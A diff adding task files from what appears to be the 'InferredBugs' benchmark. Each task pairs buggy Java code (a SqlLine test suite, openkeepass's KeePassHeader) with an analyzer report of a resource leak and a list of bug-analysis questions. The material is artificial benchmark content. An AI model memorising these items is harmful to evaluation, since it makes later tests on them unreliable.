+      output = os.toString("UTF8");
+      String expectedLine3 = "Cycled rerun of commands from history [2, 4]";
+      assertThat(output, containsString(expectedLine3));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 3");
+      output = os.toString("UTF8");
+      String expectedLine4 = "Cycled rerun of commands from history [3, 5, 7]";
+      assertThat(output, containsString(expectedLine4));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 8");
+      output = os.toString("UTF8");
+      String expectedLine5 = "Cycled rerun of commands from history [8]";
+      assertThat(output, containsString(expectedLine5));
+      os.reset();
+
+      beeLine.runCommands(dc, "!rerun " + Integer.MAX_VALUE);
+      output = os.toString("UTF8");
+      String expectedLine6 =
+          "Usage: rerun <offset>, available range of offset is -7..8";
+      assertThat(output, containsString(expectedLine6));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testMaxColumnWidthIncremental() {
+    final String script1 = "!set maxcolumnwidth -1\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line1 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+            containsString(line1));
+
+    final String script2 = "!set maxcolumnwidth 0\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line2 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+            containsString(line2));
+
+    final String script3 = "!set maxcolumnwidth 5000\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line3 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+            containsString(line3));
+
+    final String script4 = "!set maxcolumnwidth 2\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line4 = ""
+            + "+----+----+\n"
+            + "| C1 | C2 |\n"
+            + "+----+----+\n"
+            + "| 100 | 200 |\n"
+            + "+----+----+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+            containsString(line4));
+  }
+
+  @Test
+  public void testMaxColumnWidthBuffered() {
+    final String script1 = "!set maxcolumnwidth -1\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line1 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+            containsString(line1));
+
+    final String script2 = "!set maxcolumnwidth 0\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line2 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+            containsString(line2));
+
+    final String script3 = "!set maxcolumnwidth 5000\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line3 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+            containsString(line3));
+
+    final String script4 = "!set maxcolumnwidth 2\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line4 = ""
+            + "+----+----+\n"
+            + "| C1 | C2 |\n"
+            + "+----+----+\n"
+            + "| 100 | 200 |\n"
+            + "+----+----+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+            containsString(line4));
+  }
+
+  /** Tests with incrementalBufferRows = -1; query stays in non-incremental
+   * mode. */
+  @Test
+  public void testIncrementalBufferRows() {
+    final String script1 = "!set incrementalBufferRows -1\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222))";
+    final String line1 = ""
+        + "+-----+------+\n"
+        + "| C1  |  C2  |\n"
+        + "+-----+------+\n"
+        + "| 10  | 20   |\n"
+        + "| 1   | 2    |\n"
+        + "| 111 | 2    |\n"
+        + "| 11  | 2222 |\n"
+        + "+-----+------+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  /** Tests with incrementalBufferRows = 0; query goes straight into
+   * incremental mode. */
+  @Test
+  public void testIncrementalBufferRows2() {
+    final String script2 = "!set incrementalBufferRows 0\n"
+        + "!set incremental false\n"
+        + "select * from (values (1, 2), (1, 20), (111, 20), (11, 2222), (1, 22))";
+    final String line2 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 1  | 2  |\n"
+        + "| 1  | 20 |\n"
+        + "| 111 | 20 |\n"
+        + "| 11  | 2222 |\n"
+        + "| 1   | 22   |\n"
+        + "+----+----+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+        containsString(line2));
+  }
+
+  /** Tests with incrementalBufferRows = 1; query starts in non-incremental mode
+   * and switches to incremental after 1 row. */
+  @Test
+  public void testIncrementalBufferRows3() {
+    final String script3 = "!set incrementalBufferRows 1\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222), (111, 2222))";
+    final String line3 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 10 | 20 |\n"
+        + "| 1  | 2  |\n"
+        + "| 111 | 2  |\n"
+        + "| 11  | 2222 |\n"
+        + "| 111 | 2222 |\n"
+        + "+----+----+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+        containsString(line3));
+  }
+
+  /** Tests with incrementalBufferRows = 4; query starts in non-incremental mode
+   * and rows run out before the limit is reached. */
+  @Test
+  public void testIncrementalBufferRows4() {
+    final String script4 = "!set incrementalBufferRows 4\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222))";
+    final String line4 = ""
+        + "+-----+------+\n"
+        + "| C1  |  C2  |\n"
+        + "+-----+------+\n"
+        + "| 10  | 20   |\n"
+        + "| 1   | 2    |\n"
+        + "| 111 | 2    |\n"
+        + "| 11  | 2222 |\n"
+        + "+-----+------+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+        containsString(line4));
+  }
+
+  @Test
+  public void testIncrementalBufferRows5() {
+    // With incrementalBufferRows default (1000), query starts and
+    // stays in incremental mode.
+    final String script5 = "!set incrementalBufferRows default\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2))";
+    final String line5 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 10 | 20 |\n"
+        + "| 1  | 2  |\n"
+        + "+----+----+";
+    checkScriptFile(script5, true, equalTo(SqlLine.Status.OK),
+        containsString(line5));
+  }
+
+  @Test
+  public void testMaxHistoryFileRows() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final File tmpHistoryFile = createTempFile("tmpHistory", "temp");
+    try (BufferedWriter bw =
+             new BufferedWriter(
+                 new OutputStreamWriter(
+                     new FileOutputStream(tmpHistoryFile),
+                     StandardCharsets.UTF_8))) {
+      bw.write("1536743099591:SELECT \\n CURRENT_TIMESTAMP \\n as \\n c1;\n"
+          + "1536743104551:SELECT \\n 'asd' as \"sdf\", 4 \\n \\n as \\n c2;\\n\n"
+          + "1536743104551:SELECT \\n 'asd' \\n as \\n c2;\\n\n"
+          + "1536743104551:!/ 2\n"
+          + "1536743104551:SELECT \\n 2123 \\n as \\n c2 from dual;\\n\n"
+          + "1536743107526:!history\n"
+          + "1536743115431:SELECT \\n 2 \\n as \\n c2;\n"
+          + "1536743115431:SELECT \\n '213' \\n as \\n c1;\n"
+          + "1536743115431:!/ 8\n");
+      bw.flush();
+      bw.close();
+
+      SqlLine.Status status = begin(beeLine, os, true,
+          "--historyfile=" + tmpHistoryFile.getAbsolutePath(),
+          "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+
+      final int maxLines = 3;
+      beeLine.runCommands(dc, "!set maxHistoryFileRows " + maxLines);
+      os.reset();
+      beeLine.runCommands(dc, "!history");
+      assertEquals(maxLines + 1,
+          os.toString("UTF8").split("\\s+\\d{2}:\\d{2}:\\d{2}\\s+").length);
+      os.reset();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testSave() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    try {
+      SqlLine.Status status = begin(beeLine, os, false,
+          "-e", "!save");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      final DispatchCallback dc = new DispatchCallback();
+
+      assertThat(os.toString("UTF8"),
+          containsString("Saving preferences to"));
+      os.reset();
+      beeLine.runCommands(dc, "!set");
+      assertThat(os.toString("UTF8"),
+          allOf(containsString("autoCommit"),
+              not(containsString("Unknown property:"))));
+      os.reset();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testScript() {
+    final File file = createTempFile("sqlline", ".script");
+    final String script = "!script " + file.getAbsolutePath() + "\n"
+        + "values (100, 200);\n"
+        + "!set maxcolumnwidth -1\n"
+        + "!script\n"
+        + "values (1, 2);\n";
+    final String expected = "(?s)1/5          !script.*"
+        + "2/5          values \\(100, 200\\);.*"
+        + "3/5          !set maxcolumnwidth -1.*"
+        + "4/5          !script.*"
+        + "5/5          values \\(1, 2\\);.*";
+    checkScriptFile(script, false, equalTo(SqlLine.Status.OK),
+        RegexMatcher.of(expected));
+
+    final String output = "values \\(100, 200\\);\n"
+        + "!set maxcolumnwidth -1\n";
+    assertFileContains(file, RegexMatcher.of(output));
+  }
+
+  @Test
+  public void testStartupArgsWithoutUrl() {
+    try {
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      assertThat(os.toString("UTF8"), containsString(sqlLine.loc("no-url")));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests setting the "confirm" property.
+   */
+  @Test
+  public void testConfirmFlag() {
+    try {
+      final SqlLine line = new SqlLine();
+      final ByteArrayOutputStream os = new ByteArrayOutputStream();
+      assertThat(line.getOpts().getConfirm(), is(false));
+      begin(line, os, false, "-e", "!set confirm true");
+      assertThat(line.getOpts().getConfirm(), is(true));
+      begin(line, os, false, "-e", "!set confirm false");
+      assertThat(line.getOpts().getConfirm(), is(false));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests that the "confirm" property works.
+   */
+  @Test
+  public void testConfirmFlagEffects() {
+    new MockUp<sqlline.Commands>() {
+      @Mock
+      int getUserAnswer(String question, int... allowedAnswers) {
+        return 'n';
+      }
+    };
+
+    final SqlLine line = new SqlLine();
+    assertThat(line.getOpts().getConfirm(), is(false));
+    assertThat(line.getOpts().getConfirmPattern(), is("default"));
+    String script = "CREATE TABLE dummy_test(pk int);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(1);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(2);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(3);\n"
+        + "DELETE FROM dummy_test;\n"
+        + "DROP TABLE dummy_test;\n";
+    checkScriptFile(script, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" "));
+
+    script = "!set confirm true\n" + script;
+    checkScriptFile(script, true,
+        equalTo(SqlLine.Status.OTHER),
+        containsString(line.loc("abort-action")));
+  }
+
+  /**
+   * Tests that the "confirmPattern" property works.
+   */
+  @Test
+  public void testConfirmPattern() {
+    final SqlLine line = new SqlLine();
+    assertThat(line.getOpts().getConfirm(), is(false));
+    final ByteArrayOutputStream os = new ByteArrayOutputStream();
+
+    begin(line, os, false, "-e",
+        "!set confirmPattern \"^(?i:(TRUNCATE|ALTER))\"");
+    assertThat(line.getOpts().getConfirmPattern(),
+        is("^(?i:(TRUNCATE|ALTER))"));
+
+    begin(line, os, false, "-e", "!set confirmPattern default");
+    assertThat(line.getOpts().getConfirmPattern(),
+        is(line.loc("default-confirm-pattern")));
+  }
+
+  /**
+   * Test for illegal regex in confirmPattern
+   */
+  @Test
+  public void testExceptionConfirmPattern() {
+    try {
+      final SqlLine line = new SqlLine();
+      final ByteArrayOutputStream os = new ByteArrayOutputStream();
+      assertThat(line.getOpts().getConfirm(), is(false));
+      SqlLine.Status status =
+          begin(line, os, false, "-e",
+              "!set confirmPattern \"^(?i*:(TRUNCATE|ALTER))\"");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      assertThat(os.toString("UTF8"), containsString("invalid regex"));
+      os.reset();
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /** Information necessary to create a JDBC connection. Specify one to run
+   * tests against a different database. (hsqldb is the default.) */
+  public static class ConnectionSpec {
+    public final String url;
+    public final String username;
+    public final String password;
+    public final String driver;
+
+    public ConnectionSpec(String url, String username, String password,
+        String driver) {
+      this.url = url;
+      this.username = username;
+      this.password = password;
+      this.driver = driver;
+    }
+
+    public static final ConnectionSpec H2 =
+        new ConnectionSpec("jdbc:h2:mem:", "sa", "", "org.h2.Driver");
+
+    public static final ConnectionSpec ERROR_H2_DRIVER =
+        new ConnectionSpec("jdbc:h2:mem:", "sa", "", "ERROR_DRIVER");
+
+    public static final ConnectionSpec ERROR_H2_URL =
+        new ConnectionSpec("ERROR_URL", "sa", "", "org.h2.Driver");
+
+    public static final ConnectionSpec HSQLDB =
+        new ConnectionSpec(
+            ScottHsqldb.URI, ScottHsqldb.USER, ScottHsqldb.PASSWORD,
+            "org.hsqldb.jdbcDriver");
+
+    public static final ConnectionSpec MYSQL =
+        new ConnectionSpec(
+            "jdbc:mysql://localhost/scott", "scott", "tiger",
+            "com.mysql.jdbc.Driver");
+  }
+
+  /** Regular expression matcher. */
+  private static class RegexMatcher extends BaseMatcher<String> {
+    private final String pattern;
+
+    RegexMatcher(String pattern) {
+      super();
+      this.pattern = pattern;
+    }
+
+    public static RegexMatcher of(String pattern) {
+      return new RegexMatcher(pattern);
+    }
+
+    public boolean matches(Object o) {
+      return o instanceof String
+          && ((String) o).matches(pattern);
+    }
+
+    public void describeTo(Description description) {
+      description.appendText("regular expression ").appendText(pattern);
+    }
+  }
+
+}
+
+// End SqlLineArgsTest.java
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintStream` acquired by call to `SqlLine()` at line 1077 is not released after line 1082.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SqlLineArgsTest.testNPE()
+
+### Procedure Id:
+sqlline.SqlLineArgsTest.testNPE():void.f497417622c772629e5984dd5ffe663f
+
+### File:
+src/test/java/sqlline/SqlLineArgsTest.java
+
+### Key:
+SqlLineArgsTest.java|testNPE|RESOURCE_LEAK
+
+### Node Key:
+83dd0b424ff41162de0c33c9b165340c
+
+### Hash:
+6dc04971d8f703294b357d0ce1729f7a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8151/instruction.md b/inferredbugs-8151/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6c3594b7fb99b47b8f51bfb376634e8f8c565e09
--- /dev/null
+++ b/inferredbugs-8151/instruction.md
@@ -0,0 +1,471 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** openkeepass
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.slackspace.openkeepass.domain;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+import de.slackspace.openkeepass.crypto.RandomGenerator;
+import de.slackspace.openkeepass.exception.KeePassHeaderUnreadableException;
+import de.slackspace.openkeepass.util.ByteUtils;
+
+public class KeePassHeader {
+
+	private static final int SIZE_OF_FIELD_LENGTH_BUFFER = 3;
+
+	// Header Fields
+	public static final int CIPHER = 2;
+	public static final int COMPRESSION = 3;
+	public static final int MASTER_SEED = 4;
+	public static final int TRANSFORM_SEED = 5;
+	public static final int TRANSFORM_ROUNDS = 6;
+	public static final int ENCRYPTION_IV = 7;
+	public static final int PROTECTED_STREAM_KEY = 8;
+	public static final int STREAM_START_BYTES = 9;
+	public static final int INNER_RANDOM_STREAM_ID = 10;
+
+	// KeePass 2.x signature
+	private static final byte[] DATABASE_V2_FILE_SIGNATURE_1 = ByteUtils.hexStringToByteArray("03d9a29a");
+	private static final byte[] DATABASE_V2_FILE_SIGNATURE_2 = ByteUtils.hexStringToByteArray("67fb4bb5");
+	private static final byte[] DATABASE_V2_FILE_VERSION = ByteUtils.hexStringToByteArray("00000300");
+
+	// KeePass Magic Bytes for AES Cipher
+	private static final byte[] DATABASE_V2_AES_CIPHER = ByteUtils
+			.hexStringToByteArray("31C1F2E6BF714350BE5805216AFC5AFF");
+
+	// KeePass version signature length in bytes
+	public static final int VERSION_SIGNATURE_LENGTH = 12;
+
+	// KeePass 2.x signature
+	private static final int DATABASE_V2_FILE_SIGNATURE_1_INT = 0x9AA2D903 & 0xFF;
+	private static final int DATABASE_V2_FILE_SIGNATURE_2_INT = 0xB54BFB67 & 0xFF;
+
+	// KeePass 1.x signature
+	private static final int OLD_DATABASE_V1_FILE_SIGNATURE_1_INT = 0x9AA2D903 & 0xFF;
+	private static final int OLD_DATABASE_V1_FILE_SIGNATURE_2_INT = 0xB54BFB65 & 0xFF;
+
+	private byte[] cipher;
+	private byte[] encryptionIV;
+	private byte[] streamStartBytes;
+	private byte[] masterSeed;
+	private byte[] transformSeed;
+	private byte[] protectedStreamKey;
+	private CompressionAlgorithm compression;
+	private long transformRounds;
+	private CrsAlgorithm crsAlgorithm;
+
+	public void setValue(int headerId, byte[] value) {
+		switch (headerId) {
+		case CIPHER:
+			setCipher(value);
+			break;
+		case COMPRESSION:
+			setCompressionFlag(value);
+			break;
+		case MASTER_SEED:
+			setMasterSeed(value);
+			break;
+		case TRANSFORM_SEED:
+			setTransformSeed(value);
+			break;
+		case TRANSFORM_ROUNDS:
+			setTransformRounds(value);
+			break;
+		case ENCRYPTION_IV:
+			setEncryptionIV(value);
+			break;
+		case PROTECTED_STREAM_KEY:
+			setProtectedStreamKey(value);
+			break;
+		case STREAM_START_BYTES:
+			setStreamStartBytes(value);
+			break;
+		case INNER_RANDOM_STREAM_ID:
+			setInnerRandomStreamId(value);
+			break;
+		}
+	}
+
+	public void checkVersionSupport(byte[] keepassFile) throws IOException {
+		BufferedInputStream bufferedInputStream = new BufferedInputStream(new ByteArrayInputStream(keepassFile));
+
+		byte[] signature = new byte[VERSION_SIGNATURE_LENGTH];
+		bufferedInputStream.read(signature);
+
+		ByteBuffer signatureBuffer = ByteBuffer.wrap(signature);
+		signatureBuffer.order(ByteOrder.LITTLE_ENDIAN);
+
+		int signaturePart1 = ByteUtils.toUnsignedInt(signatureBuffer.getInt());
+		int signaturePart2 = ByteUtils.toUnsignedInt(signatureBuffer.getInt());
+
+		if (signaturePart1 == DATABASE_V2_FILE_SIGNATURE_1_INT && signaturePart2 == DATABASE_V2_FILE_SIGNATURE_2_INT) {
+			return;
+		} else if (signaturePart1 == OLD_DATABASE_V1_FILE_SIGNATURE_1_INT
+				&& signaturePart2 == OLD_DATABASE_V1_FILE_SIGNATURE_2_INT) {
+			throw new UnsupportedOperationException(
+					"The provided KeePass database file seems to be from KeePass 1.x which is not supported!");
+		} else {
+			throw new UnsupportedOperationException("The provided file seems to be no KeePass database file!");
+		}
+	}
+
+	/**
+	 * Initializes the header values from a given byte array.
+	 * 
+	 * @param keepassFile
+	 *            the byte array to read from
+	 * @throws IOException
+	 *             if the header cannot be read
+	 */
+	public void read(byte[] keepassFile) throws IOException {
+		BufferedInputStream bufferedInputStream = new BufferedInputStream(new ByteArrayInputStream(keepassFile));
+		bufferedInputStream.skip(VERSION_SIGNATURE_LENGTH); // skip version
+
+		while (true) {
+			try {
+				int fieldId = bufferedInputStream.read();
+				byte[] fieldLength = new byte[2];
+				bufferedInputStream.read(fieldLength);
+
+				ByteBuffer fieldLengthBuffer = ByteBuffer.wrap(fieldLength);
+				fieldLengthBuffer.order(ByteOrder.LITTLE_ENDIAN);
+				int fieldLengthInt = ByteUtils.toUnsignedInt(fieldLengthBuffer.getShort());
+
+				if (fieldLengthInt > 0) {
+					byte[] data = new byte[fieldLengthInt];
+					bufferedInputStream.read(data);
+					setValue(fieldId, data);
+				}
+
+				if (fieldId == 0) {
+					break;
+				}
+			} catch (IOException e) {
+				throw new KeePassHeaderUnreadableException("Could not read header input", e);
+			}
+		}
+	}
+
+	/**
+	 * Returns the whole header as byte array.
+	 * 
+	 * @return header as byte array
+	 */
+	public byte[] getBytes() {
+		try {
+			ByteArrayOutputStream stream = new ByteArrayOutputStream();
+
+			stream.write(DATABASE_V2_FILE_SIGNATURE_1);
+			stream.write(DATABASE_V2_FILE_SIGNATURE_2);
+			stream.write(DATABASE_V2_FILE_VERSION);
+
+			for (int i = 2; i < 11; i++) {
+				byte[] headerValue = getValue(i);
+
+				// Write index
+				stream.write(i);
+
+				// Write length
+				byte[] length = new byte[] { (byte) headerValue.length, 0 };
+				stream.write(length);
+
+				// Write value
+				stream.write(headerValue);
+			}
+
+			// Write terminating flag
+			stream.write(getEndOfHeader());
+
+			return stream.toByteArray();
+		} catch (IOException e) {
+			throw new KeePassHeaderUnreadableException("Could not write header value to stream", e);
+		}
+	}
+
+	private byte[] getEndOfHeader() {
+		try {
+			ByteArrayOutputStream stream = new ByteArrayOutputStream();
+			stream.write(0);
+			stream.write(4);
+			stream.write(0);
+			stream.write("\r\n\r\n".getBytes());
+
+			return stream.toByteArray();
+		} catch (IOException e) {
+			throw new KeePassHeaderUnreadableException("Could not write end of header to stream", e);
+		}
+	}
+
+	public byte[] getValue(int headerId) {
+		switch (headerId) {
+		case CIPHER:
+			return getCipher();
+		case COMPRESSION:
+			return getCompressionFlag();
+		case MASTER_SEED:
+			return getMasterSeed();
+		case TRANSFORM_SEED:
+			return getTransformSeed();
+		case TRANSFORM_ROUNDS:
+			return getTransformRoundsByte();
+		case ENCRYPTION_IV:
+			return getEncryptionIV();
+		case PROTECTED_STREAM_KEY:
+			return getProtectedStreamKey();
+		case STREAM_START_BYTES:
+			return getStreamStartBytes();
+		case INNER_RANDOM_STREAM_ID:
+			return getInnerRandomStreamId();
+		}
+
+		return new byte[0];
+	}
+
+	private void setInnerRandomStreamId(byte[] value) {
+		ByteBuffer buffer = wrapInBuffer(value);
+		int intValue = buffer.getInt();
+		crsAlgorithm = CrsAlgorithm.parseValue(intValue);
+	}
+
+	private byte[] getInnerRandomStreamId() {
+		int intValue = CrsAlgorithm.getIntValue(crsAlgorithm);
+		return wrapInBuffer(intValue);
+	}
+
+	private void setStreamStartBytes(byte[] value) {
+		streamStartBytes = value;
+	}
+
+	private void setProtectedStreamKey(byte[] value) {
+		protectedStreamKey = value;
+	}
+
+	private void setEncryptionIV(byte[] value) {
+		encryptionIV = value;
+	}
+
+	private void setTransformRounds(byte[] value) {
+		ByteBuffer buffer = wrapInBuffer(value);
+		transformRounds = buffer.getLong();
+	}
+
+	private void setTransformSeed(byte[] value) {
+		transformSeed = value;
+	}
+
+	private void setMasterSeed(byte[] value) {
+		masterSeed = value;
+	}
+
+	private void setCompressionFlag(byte[] value) {
+		ByteBuffer buffer = wrapInBuffer(value);
+		int intValue = buffer.getInt();
+
+		compression = CompressionAlgorithm.parseValue(intValue);
+	}
+
+	public void setCompression(CompressionAlgorithm algorithm) {
+		compression = algorithm;
+	}
+
+	private byte[] getCompressionFlag() {
+		int intValue = CompressionAlgorithm.getIntValue(compression);
+		return wrapInBuffer(intValue);
+	}
+
+	private void setCipher(byte[] value) {
+		if (value == null || value.length != 16) {
+			throw new IllegalArgumentException("The encryption cipher must contain 16 bytes!");
+		}
+		cipher = value;
+	}
+
+	public byte[] getCipher() {
+		return cipher;
+	}
+
+	public CompressionAlgorithm getCompression() {
+		return compression;
+	}
+
+	public long getTransformRounds() {
+		return transformRounds;
+	}
+
+	public void setTransformRounds(long rounds) {
+		transformRounds = rounds;
+	}
+
+	private byte[] getTransformRoundsByte() {
+		return wrapInBuffer(transformRounds);
+	}
+
+	public byte[] getEncryptionIV() {
+		return encryptionIV;
+	}
+
+	public byte[] getStreamStartBytes() {
+		return streamStartBytes;
+	}
+
+	public CrsAlgorithm getCrsAlgorithm() {
+		return crsAlgorithm;
+	}
+
+	public void setCrsAlgorithm(CrsAlgorithm algorithm) {
+		crsAlgorithm = algorithm;
+	}
+
+	public byte[] getMasterSeed() {
+		return masterSeed;
+	}
+
+	public byte[] getTransformSeed() {
+		return transformSeed;
+	}
+
+	public int getHeaderSize() {
+		int size = 0;
+
+		// Add size of values
+		for (int i = 2; i < 11; i++) {
+			byte[] value = getValue(i);
+
+			if (value != null) {
+				size += value.length + SIZE_OF_FIELD_LENGTH_BUFFER;
+			}
+		}
+
+		// Add size of header end
+		size += getEndOfHeader().length;
+
+		return size;
+	}
+
+	public byte[] getProtectedStreamKey() {
+		return protectedStreamKey;
+	}
+
+	private ByteBuffer wrapInBuffer(byte[] value) {
+		ByteBuffer buffer = ByteBuffer.wrap(value);
+		buffer.order(ByteOrder.LITTLE_ENDIAN);
+		return buffer;
+	}
+
+	private byte[] wrapInBuffer(int value) {
+		ByteBuffer buffer = ByteBuffer.allocate(4);
+		buffer.order(ByteOrder.LITTLE_ENDIAN);
+		buffer.putInt(value);
+		return buffer.array();
+	}
+
+	private byte[] wrapInBuffer(long value) {
+		ByteBuffer buffer = ByteBuffer.allocate(8);
+		buffer.order(ByteOrder.LITTLE_ENDIAN);
+		buffer.putLong(value);
+		return buffer.array();
+	}
+
+	/**
+	 * Initializes the header with default values and creates new random values
+	 * for crypto keys.
+	 * <p>
+	 * Default values:
+	 * <ul>
+	 * <li>Compression: GZIP</li>
+	 * <li>CrsAlgorithm: Salsa20</li>
+	 * <li>TransformRounds: 8000
+	 * <li>
+	 * <li>Cipher: AES</li>
+	 * </ul>
+	 */
+	public void initialize() {
+		RandomGenerator random = new RandomGenerator();
+
+		setCompression(CompressionAlgorithm.Gzip);
+		setCrsAlgorithm(CrsAlgorithm.Salsa20);
+		setTransformRounds(8000);
+		setMasterSeed(random.getRandomBytes(32));
+		setTransformSeed(random.getRandomBytes(32));
+		setEncryptionIV(random.getRandomBytes(16));
+		setProtectedStreamKey(random.getRandomBytes(32));
+		setStreamStartBytes(random.getRandomBytes(32));
+		setCipher(DATABASE_V2_AES_CIPHER);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedInputStream` acquired to `bufferedInputStream` by call to `new()` at line 92 is not released after line 95.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void KeePassHeader.checkVersionSupport(byte[])
+
+### Procedure Id:
+de.slackspace.openkeepass.domain.KeePassHeader.checkVersionSupport(byte[]):void.a3f8ba4259968d2049e4950f663bc6c5
+
+### File:
+src/main/java/de/slackspace/openkeepass/domain/KeePassHeader.java
+
+### Key:
+KeePassHeader.java|checkVersionSupport|RESOURCE_LEAK
+
+### Node Key:
+08038b5f1153a3f1e72ab3f29b05862b
+
+### Hash:
+53d3977b55ccc89f0faa1f171dc21ae9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
